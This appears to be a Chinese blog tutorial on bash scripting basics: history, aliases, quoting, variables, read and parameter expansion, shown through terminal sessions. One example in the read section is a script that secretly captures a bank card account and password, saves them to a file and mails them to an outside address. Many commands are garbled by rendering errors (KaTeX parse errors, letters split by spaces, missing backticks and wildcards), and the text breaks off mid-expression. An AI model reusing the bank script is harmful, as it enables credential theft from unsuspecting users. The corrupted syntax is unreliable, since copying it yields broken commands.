shell脚本基础学习(一)

Shell 脚本

Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。
Shell 脚本(shell script),是一种为 shell 编写的脚本程序。
业界所说的 shell 通常都是指 shell 脚本,但读者朋友要知道,shell 和 shell script 是两个不同的概念。
由于习惯的原因,简洁起见,本文出现的 “shell” 都是指 shell 脚本编程,不是指开发 shell 自身。

shell的功能

命令解释器 负责人机交互 也是一种程序设计语言 shell perl python。

shell的类型

bash是redhat主流的shell类型
bash
[root@client Desktop]# cat /etc/shells
/bin/sh
/bin/bash
/sbin/nologin
/bin/dash
/bin/tcsh
/bin/csh

bash的特性

1.支持历史记录
history 查看历史记录
历史命令
!341 直接执行第341条记录
alt . 上面操作的最右边的一个参数 !$
!c 执行历史记录中最新有c条目的操作
上下方向键可以翻动历史记录
history -c 删除历史记录
历史记录的条数
1000
设置历史记录的条数
#vim /etc/profile
HISTSIZE=1000

2.命令和文件补全功能tab键

3.支持快捷键
ctrl l 清屏
ctrl a 移动行首
ctrl e 移动行尾
ctrl u 删除光标所在位置之前的内容
ctrl k 删除光标所在位置之后的内容
ctrl c 中断
ctrl d 正常结束

4.别名
查看
#alias
设置
#alias a=‘init 0’
vim ~/.bashrc 对当前用户生效
取消
unalias a

5.支持定义环境变量

6.进程前后台

7.通配符
[]
?
*
!
{}

8.管道 输出输入重定向

9.命令排序
; ls /tmp ;cat /etc/passwd 同时执行两条命令 不具备逻辑判断
&& 具备逻辑判断 逻辑与
#lS /tmp && ls /tmp &&前面命令执行不成功后面命令无法执行
#ls /tmp && LS /tmp &&前面命令执行成功后面命令不成功只执行前面命令
|| 逻辑或
#cd /aa || a.txt ||前面命令执行不成功,执行后面命令
-bash: cd: /aa: 没有那个文件或目录
-rw-r–r-- 1 root root 21 4月 26 12:05 a.txt
#cd /tmp || ll a.txt ||前面命令执行成功,不执行后面命令

查看/etc/pass文件,如果这个文件存在,提示文件已存在,不存在提示文件不存在
[root@client ~]# cat /etc/pass &>/dev/null && echo “yes” ||echo “no”

“” 弱引 软引 会翻译引号内的内容(如果有变量可以取出变量的值)
[root@client ~]# echo “变量a的值为$a”
变量a的值为16

‘’ 强引 硬引 不会翻译引号内的内容(有变量也不取值)
[root@client ~]# echo '变量a的值为 a ′ 变 量 a 的 值 为 a' 变量a的值为 aaa

`` 会翻译内部命令并将结果交给外部命令去使用
[root@client ~]# echo "today is date +%F"
today is 2017-04-26
[root@client ~]# rpm -qf which cat
coreutils-8.4-31.el6.x86_64
[root@client ~]# tar czf /tmp/date +%Fetc.tar.gz /etc/
[root@client ~]# ls /tmp
2017-04-26etc.tar.gz

\ 转义字符
\n 换行符
\t tab键
[root@client ~]# echo -e “hello\nworld”
hello
world
[root@client ~]# echo -e “hello\tworld”
hello world
[root@client ~]# echo -e ‘atb’
atb
[root@client ~]# echo -e ‘a\tb’
a b
[root@client ~]# echo -e ‘anb’
anb
[root@client ~]# echo -e ‘a\nb’
a
b
echo -n 取消换行
创建文件的几种方法
[root@client ~]# touch a.txt
[root@client ~]# vim b.txt
[root@client ~]# cat > c.txt
[root@client ~]# >d.txt

shell的变量

常量 固定的字符或字符串 不能变 所有被赋值的字符串都被称为常量
=赋值符号
变量 值可以发生变化 y=123 把=右边的内容赋值到等号左边
变量名称:只能由字母数字和下划线组成 不能以数字开头 见名知意
变量的类型:
1.自定义变量
2.环境变量
3.位置变量
4.特殊变量 预定义变量

1.自定义变量 局部变量
定义变量?
变量名=变量的内容
#a=80
只对当前shell生效
子shell不生效

如何引用变量?
#echo $a

查看所有变量(包含自定义变量和环境变量)
#set

取消变量?
#unset a

2.环境变量 全局变量
用来指定操作系统运行环境的一些参数
在父shell里面设置的变量在他的子shell里面生效的话,说明这个变量拥有继承性,我们可以把拥有继承性的变量称为环境变量,环境变量都可以在env查看到
查看环境变量
env
常用的环境变量
HOSTNAME=client.uplooking.com //表示当前主机名
SHELL=/bin/bash //表示当前shell的类型
HISTSIZE=1000 //表示当前历史记录的条数
USER=root //表示当前登陆的用户
PWD=/root //表示当前路径
LANG=zh_CN.UTF-8 //表示当前使用的语言
HOME=/root //表示当前用户的家目录
PS1=’[\u@\h \W]$ ’ //表示一级提示符
PS2=’> ’ //表示二级提示符
UID=0 //表示当前用户的uid
MAIL=/var/spool/mail/root //表示当前用户的邮箱位置
PATH=/usr/lib64/qt-3.3/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin 以:分隔 存放命令的目录 表示使用命令不需要加路径使用 凡是在path路径下的命令可以在任何路径下执行
#echo $RANDOM //产生0-32767的随机数
31888
#echo ( ( (( ((RANDOM%10)) //产生0-9的随机数
#echo ( ( (( ((RANDOM%100+1)) //产生0-100的随机数

修改PATH 用:隔开
PATH=$PATH:/命令所在目录的路径

安装软件
apachectl 命令所在位置/usr/local/bin/apachectl
想在系统任意位置使用apachectl
两种方法
1.将/usr/local/apachectl命令拷贝到/bin PATH定义的目录下
2.设置环境变量
临时设置
1)PATH= P A T H : / u s r / l o c a l / a p a c h e / b i n 自 定 义 变 量 e x p o r t P A T H 把 自 定 义 变 量 转 为 环 境 变 量 2 ) e x p o r t P A T H = PATH:/usr/local/apache/bin 自定义变量 export PATH 把自定义变量转为环境变量 2)export PATH= PATH:/usr/local/apache/binexportPATH2exportPATH=PATH:/usr/local/apache/bin 直接设置环境变量
永久设置 写到4个环境变量的配置文件(shell 脚本) 开机电脑自动读取配置文件内容
/etc/profile
/etc/bashrc
~/.bash_profile
~/.bashrc

适用范围
/etc 对所有用户生效
~/ 对当前用户生效

登陆shell的类型
登陆shell 4个环境变量的配置都读 敲了登陆用户名就是登陆shell
非登陆shell 只读2个bashrc文件 没有就是非登陆

例1:
[root@client Desktop]# url=www.baidu.com.cn
[root@client Desktop]# vim test.sh
#!/bin/bash
#test 自定义变量和环境变量的作用范围
echo $url
echo $USER
echo $UID
echo $SHELL

测试:
[root@client Desktop]# bash test.sh
root
0
/bin/bash

[root@client Desktop]# . test.sh
www.baidu.com.cn
root
0
/bin/bash

例2:
[root@client Desktop]# vim test.sh
#!/bin/bash
#test 自定义变量和环境变量的作用范围
export url=www.baidu.com.cn
echo $url
echo $USER
echo $UID
echo $SHELL

测试:
[root@client Desktop]# bash test.sh
www.baidu.com.cn
root
0
/bin/bash

[root@client Desktop]# . test.sh
www.baidu.com.cn
root
0
/bin/bash

3.位置变量
$1 $2 $3 $4 $5 $6 $7 $8 $9 ${10}

例3:
[root@client Desktop]# vim test.sh
#!/bin/bash
echo “第1个位置参数是$1”
echo “第2个位置参数是$2”
echo “第3个位置参数是$3”
echo “第4个位置参数是$4”
echo “第5个位置参数是$5”
echo “第6个位置参数是$6”
echo “第7个位置参数是$7”
echo “第8个位置参数是$8”
echo “第9个位置参数是 9 " e c h o " 第 10 个 位 置 参 数 是 9" echo "第10个位置参数是 9"echo"10{10}”

测试:
[root@client Desktop]# bash test.sh sdf qq dd ccc dsd dhjg 66 55 44 33 22 11 00
第1个位置参数是sdf
第2个位置参数是qq
第3个位置参数是dd
第4个位置参数是ccc
第5个位置参数是dsd
第6个位置参数是dhjg
第7个位置参数是66
第8个位置参数是55
第9个位置参数是44
第10个位置参数是33

4.预定义变量
$? 上一个命令的返回值 0 正确执行 非0都是错误执行
$0 脚本名
$$ 当前进程的PID
$* 所有的参数 $@
$# 参数的个数

[root@client Desktop]# echo $$ //查看当前shell的进程号
3424

影响bash shell的其他文件
bash登陆和欢迎信息
/etc/issue 登陆前显示的信息(本地登陆) ctrl alt f2
/etc/issue.net 登陆前显示的信息(网络登陆)
/etc/motd 登陆后显示的信息

例1:
[root@client Desktop]# vim /etc/ssh/sshd_config
Banner /etc/issue.net
[root@client Desktop]# /etc/init.d/sshd restart
停止 sshd: [确定]
正在启动 sshd: [确定]
[root@client Desktop]# vim /etc/issue.net
Red Hat Enterprise Linux Server release 6.5 (Santiago)
Kernel \r on an \m
fei root yonghu jinzhi denglu

测试
[root@today ~]# ssh 192.168.1.251
Red Hat Enterprise Linux Server release 6.5 (Santiago)
Kernel \r on an \m
fei root yonghu jinzhi denglu
[email protected]’s password:

例2:
[root@client ~]# cat /etc/motd
±------------------------------+
| |
| 你当前登陆的是网站服务器! |
| 小心你的操作 |
| |
±------------------------------+

测试:
[root@today ~]# ssh 192.168.1.251
[email protected]’s password:
Last login: Thu Apr 27 12:00:16 2017 from 192.168.1.67
±------------------------------+
| |
| 你当前登陆的是网站服务器! |
| 小心你的操作 |
| |
±------------------------------+

变量的定义方式:
1.显示赋值
变量名=变量内容
示例:
IPADDR=192.168.1.251
school=“Wuhan uplooking”
today=date +%F //``和$() 叫做命令替换
[root@client ~]# today=date +%F
[root@client ~]# echo KaTeX parse error: Expected 'EOF', got '#' at position 41: …[root@client ~]#̲ jintian=(date +%F)
[root@client ~]# echo $jintian
2017-06-08

2.read 从键盘读入变量值
read -p “提示信息:” 变量名
[root@client ~]# read -p “请输入银行卡帐号:” num
请输入银行卡帐号:4445555666
[root@client ~]# echo KaTeX parse error: Expected 'EOF', got '#' at position 31: …[root@client ~]#̲ read -p "请输入银行…num 密码$pass" >> /tmp/pass.txt
[root@client ~]# cat /tmp/pass.txt
帐号4445555666 密码111222

-p 指定提示信息
-t 指定超时时间 默认单位:秒
-n 指定字符个数

例1:
创建用户,提示输入用户名,依据输入的用户名去创建这个用户,创建前先判断用户是否存在,存在提示用户已创建,不存在创建此用户,提示创建完成
#!/bin/bash
read -t 30 -p “请输入你的用户名:” name
useradd KaTeX parse error: Expected 'EOF', got '&' at position 6: name &̲>/dev/null && e…name创建完成" || echo “用户$name已存在”

例2:
测试本机是否能与输入的ip地址通信,能通信输出ip is up,不能通信 输出ip is down。
#!/bin/bash
read -p “请输入ip地址:” ipaddress
ping -c 3 $ipaddress &>/dev/null && echo “ip is up” ||echo “ip is down”

#ping -c 3 192.168.1.251
-c 指定数量
ping 3次自动断开

例3:
使用read截获银行卡的账户和密码
#!/bin/bash
#使用read截获银行卡的账户和密码
read -p “please input bank card account:” account
stty -echo //隐藏显示
read -p “please input bank card passwd:” -n 6 -t 60 passwd
stty echo //恢复正常
echo
echo “account: a c c o u n t p a s s w d : account passwd: accountpasswd:passwd” >> /tmp/bank.txt
echo “account: a c c o u n t p a s s w d : account passwd: accountpasswd:passwd” |mail -s “hello success” [email protected]

3.变量置换 变量“内容”的删除和替换:
“内容”的删除==
[root@client ~]# url=www.sina.com.cn
[root@client ~]# echo ${#url} 获取变量值的长度
15
[root@client ~]# echo ${url} 标准查看
www.sina.com.cn
[root@client ~]# echo ${url#.} 从前向后匹配,最短匹配
sina.com.cn
[root@client ~]# echo ${url##
.} 从前向后匹配,最长匹配 贪婪匹配(找到最后一个.)
cn

[root@client ~]# url=www.sina.com.cn
[root@client ~]# echo ${url}
www.sina.com.cn
[root@client ~]# echo ${url%.} 从后向前匹配,最短匹配
www.sina.com
[root@client ~]# echo ${url%%.
} 从后向前匹配,最长匹配 贪婪匹配(找到最前面一个.)
www

变量的替换======
[root@client tmp]# url=www.sina.com.cn
[root@client tmp]#
[root@client tmp]# echo ${url/sina/baidu}
www.baidu.com.cn

[root@client tmp]# echo ${url}
www.sina.com.cn
[root@client tmp]# echo ${url/n/N} 匹配一个替换
www.siNa.com.cn
[root@client tmp]# echo ${url//n/N} 贪婪匹配
www.siNa.com.cN

=变量的替代======
${变量名-新的变量值}
变量没有被赋值:会使用“新的变量值”替代
变量有被赋值(包括空值):不会被替代

[root@client tmp]# unset var1
[root@client tmp]# unset var2
[root@client tmp]# unset var3
[root@client tmp]# var2=111
[root@client tmp]# var3=

如果变量没有被赋值,则显示aaaa
[root@client tmp]# echo ${var1-aaaa}
aaaa

如果变量值有赋值,则不显示222
[root@client tmp]# echo ${var2-222}
111

如果变量值有赋值,值为空,则不显示333
[root@client tmp]# echo ${var3-333}

${变量名:-新的变量值}
变量没有被赋值(包括空值):都会使用“新的变量值”替代
变量有被赋值:不会被替代
[root@client tmp]# unset var1
[root@client tmp]# unset var2
[root@client tmp]# unset var3
[root@client tmp]#
[root@client tmp]# var2=
[root@client tmp]# var3=111

如果变量没有被赋值,则显示aaaa
[root@client tmp]# echo ${var1:-aaaa}
aaaa

如果变量有赋值,值为空,则显示aaaa
[root@client tmp]# echo ${var2:-aaaa}
aaaa

如果变量有赋值,则不显示aaaa
[root@client tmp]# echo ${var3:-aaaa}
111

${变量名+新的变量值}
[root@client tmp]# unset var1
[root@client tmp]# unset var2
[root@client tmp]# unset var3
[root@client tmp]# var2=aaaa
[root@client tmp]# var3=

如果变量没有被赋值,则不显示新的值
[root@client tmp]# echo ${var1+222}

如果变量有赋值,则显示新的值
[root@client tmp]# echo ${var2+222}
222

如果变量有赋值,值为空,则显示新的值
[root@client tmp]# echo ${var3+222}
222

${变量名:+新的变量值}
[root@client tmp]# unset var1
[root@client tmp]# unset var2
[root@client tmp]# unset var3
[root@client tmp]#
[root@client tmp]# var2=aaaa
[root@client tmp]# var3=

如果变量没有被赋值,则不显示新的值
[root@client tmp]# echo ${var1:+222}

如果变量有赋值,则显示新的值
[root@client tmp]# echo ${var2:+222}
222

如果变量有赋值,值为空,则不显示新的值
[root@client tmp]# echo ${var3:+222}

${变量名=新的变量值}
[root@client tmp]# unset var1
[root@client tmp]# unset var2
[root@client tmp]# unset var3
[root@client tmp]# var2=aaaa
[root@client tmp]# var3=

如果变量没有被赋值,则显示新的值
[root@client tmp]# echo ${var1=123}
123

如果变量有赋值,则不显示新的值
[root@client tmp]# echo ${var2=123}
aaaa

如果变量有赋值,值为空,则不显示新的值
[root@client tmp]# echo ${var3=123}

${变量名:=新的变量值}
[root@client tmp]# unset var1
[root@client tmp]# unset var2
[root@client tmp]# unset var3
[root@client tmp]# var2=aaaa
[root@client tmp]# var3=

如果变量没有被赋值,则显示新的值
[root@client tmp]# echo ${var1:=123}
123

如果变量有赋值,则不显示新的值
[root@client tmp]# echo ${var2:=123}
aaaa

如果变量有赋值,值为空,则显示新的值
[root@client tmp]# echo ${var3:=123}
123

${变量名:num1}

${变量名:num1:num2

你可能感兴趣的:(学习文档,linux基础学习资料)